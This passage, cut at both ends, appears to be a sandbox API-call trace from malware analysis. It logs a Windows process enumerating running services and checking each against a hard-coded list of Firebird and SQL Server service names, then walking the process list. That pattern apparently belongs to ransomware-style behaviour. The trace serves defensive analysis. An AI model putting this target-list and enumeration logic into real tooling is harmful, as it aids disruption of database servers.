th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0289.844] CloseHandle (hObject=0x4c4) returned 1 [0289.844] Sleep (dwMilliseconds=0x1f4) [0290.348] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7dde80 [0290.349] EnumServicesStatusExW (in: hSCManager=0x7dde80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0290.349] GetLastError () returned 0xea [0290.349] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x466fff8 [0290.349] EnumServicesStatusExW (in: hSCManager=0x7dde80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466fff8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466fff8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0290.350] CloseServiceHandle (hSCObject=0x7dde80) returned 1 [0290.350] lstrlenW (lpString="AppXSvc") returned 7 [0290.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0290.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0290.350] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0290.350] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0290.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0290.350] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0290.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.350] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0290.350] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0290.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0290.350] lstrlenW (lpString="Audiosrv") returned 8 [0290.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0290.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0290.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0290.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0290.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0290.350] lstrlenW (lpString="BFE") returned 3 [0290.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0290.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0290.350] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0290.350] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0290.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0290.351] lstrlenW (lpString="BITS") returned 4 [0290.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0290.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0290.351] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0290.351] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0290.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0290.351] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0290.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.351] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0290.351] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0290.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0290.351] lstrlenW (lpString="CDPSvc") returned 6 [0290.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0290.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0290.351] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0290.351] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0290.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0290.351] lstrlenW (lpString="ClickToRunSvc") returned 13 [0290.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0290.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0290.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0290.351] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0290.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.351] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0290.351] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0290.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0290.351] lstrlenW (lpString="CryptSvc") returned 8 [0290.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0290.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0290.352] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0290.352] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0290.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0290.352] lstrlenW (lpString="DcomLaunch") returned 10 [0290.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0290.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0290.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0290.352] lstrlenW (lpString="DeviceAssociationService") returned 24 [0290.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0290.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0290.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0290.352] lstrlenW (lpString="Dhcp") returned 4 [0290.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0290.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0290.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0290.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0290.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0290.352] lstrlenW (lpString="Dnscache") returned 8 [0290.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0290.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0290.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0290.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0290.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0290.352] lstrlenW (lpString="DoSvc") returned 5 [0290.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0290.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0290.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0290.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0290.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0290.353] lstrlenW (lpString="DPS") returned 3 [0290.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0290.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0290.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0290.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0290.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0290.353] lstrlenW (lpString="DusmSvc") returned 7 [0290.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0290.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0290.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0290.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0290.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0290.353] lstrlenW (lpString="EventLog") returned 8 [0290.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0290.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0290.353] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0290.353] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0290.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0290.353] lstrlenW (lpString="EventSystem") returned 11 [0290.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0290.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0290.353] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0290.353] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0290.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0290.353] lstrlenW (lpString="FontCache") returned 9 [0290.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0290.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0290.353] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0290.353] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0290.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0290.353] lstrlenW (lpString="gpsvc") returned 5 [0290.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0290.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0290.354] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0290.354] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0290.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0290.354] lstrlenW (lpString="iphlpsvc") returned 8 [0290.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.354] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0290.354] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0290.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0290.354] lstrlenW (lpString="KeyIso") returned 6 [0290.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0290.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0290.354] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0290.354] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0290.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0290.354] lstrlenW (lpString="LanmanServer") returned 12 [0290.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0290.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0290.354] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0290.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0290.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0290.354] lstrlenW (lpString="LanmanWorkstation") returned 17 [0290.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.354] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0290.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0290.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0290.354] lstrlenW (lpString="lfsvc") returned 5 [0290.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0290.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0290.354] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0290.355] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0290.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0290.355] lstrlenW (lpString="lmhosts") returned 7 [0290.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0290.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0290.355] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0290.355] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0290.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0290.355] lstrlenW (lpString="LSM") returned 3 [0290.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0290.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0290.355] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0290.355] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0290.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0290.355] lstrlenW (lpString="MpsSvc") returned 6 [0290.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0290.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0290.355] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0290.355] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0290.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0290.355] lstrlenW (lpString="NcbService") returned 10 [0290.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0290.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0290.355] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0290.355] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0290.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0290.355] lstrlenW (lpString="netprofm") returned 8 [0290.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0290.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0290.355] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0290.355] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0290.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0290.355] lstrlenW (lpString="NgcSvc") returned 6 [0290.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0290.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0290.356] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0290.356] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0290.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0290.356] lstrlenW (lpString="NlaSvc") returned 6 [0290.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0290.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0290.356] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0290.356] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0290.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0290.356] lstrlenW (lpString="nsi") returned 3 [0290.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0290.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0290.356] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0290.356] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0290.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0290.356] lstrlenW (lpString="PcaSvc") returned 6 [0290.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0290.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0290.356] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0290.356] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0290.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0290.356] lstrlenW (lpString="PlugPlay") returned 8 [0290.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0290.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0290.356] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0290.356] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0290.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0290.356] lstrlenW (lpString="Power") returned 5 [0290.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0290.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0290.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0290.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0290.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0290.357] lstrlenW (lpString="ProfSvc") returned 7 [0290.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0290.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0290.357] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0290.357] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0290.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0290.357] lstrlenW (lpString="RpcEptMapper") returned 12 [0290.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0290.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0290.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0290.357] lstrlenW (lpString="RpcSs") returned 5 [0290.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0290.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0290.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0290.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0290.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0290.357] lstrlenW (lpString="SamSs") returned 5 [0290.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0290.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0290.357] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0290.357] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0290.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0290.357] lstrlenW (lpString="Schedule") returned 8 [0290.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0290.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0290.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0290.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0290.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0290.357] lstrlenW (lpString="SecurityHealthService") returned 21 [0290.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0290.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0290.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0290.358] lstrlenW (lpString="SENS") returned 4 [0290.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0290.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0290.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0290.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0290.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0290.358] lstrlenW (lpString="ShellHWDetection") returned 16 [0290.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.358] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0290.358] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0290.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0290.358] lstrlenW (lpString="Spooler") returned 7 [0290.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0290.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0290.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0290.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0290.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0290.358] lstrlenW (lpString="SSDPSRV") returned 7 [0290.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0290.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0290.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0290.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0290.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0290.358] lstrlenW (lpString="StateRepository") returned 15 [0290.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0290.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0290.358] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0290.359] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0290.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0290.359] lstrlenW (lpString="SysMain") returned 7 [0290.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0290.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0290.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0290.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0290.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0290.359] lstrlenW (lpString="SystemEventsBroker") returned 18 [0290.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0290.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0290.359] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x466fff8 | out: hHeap=0x6e0000) returned 1 [0290.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0290.362] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.362] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.363] lstrlenW (lpString="System") returned 6 [0290.363] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.364] lstrlenW (lpString="smss.exe") returned 8 [0290.364] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, 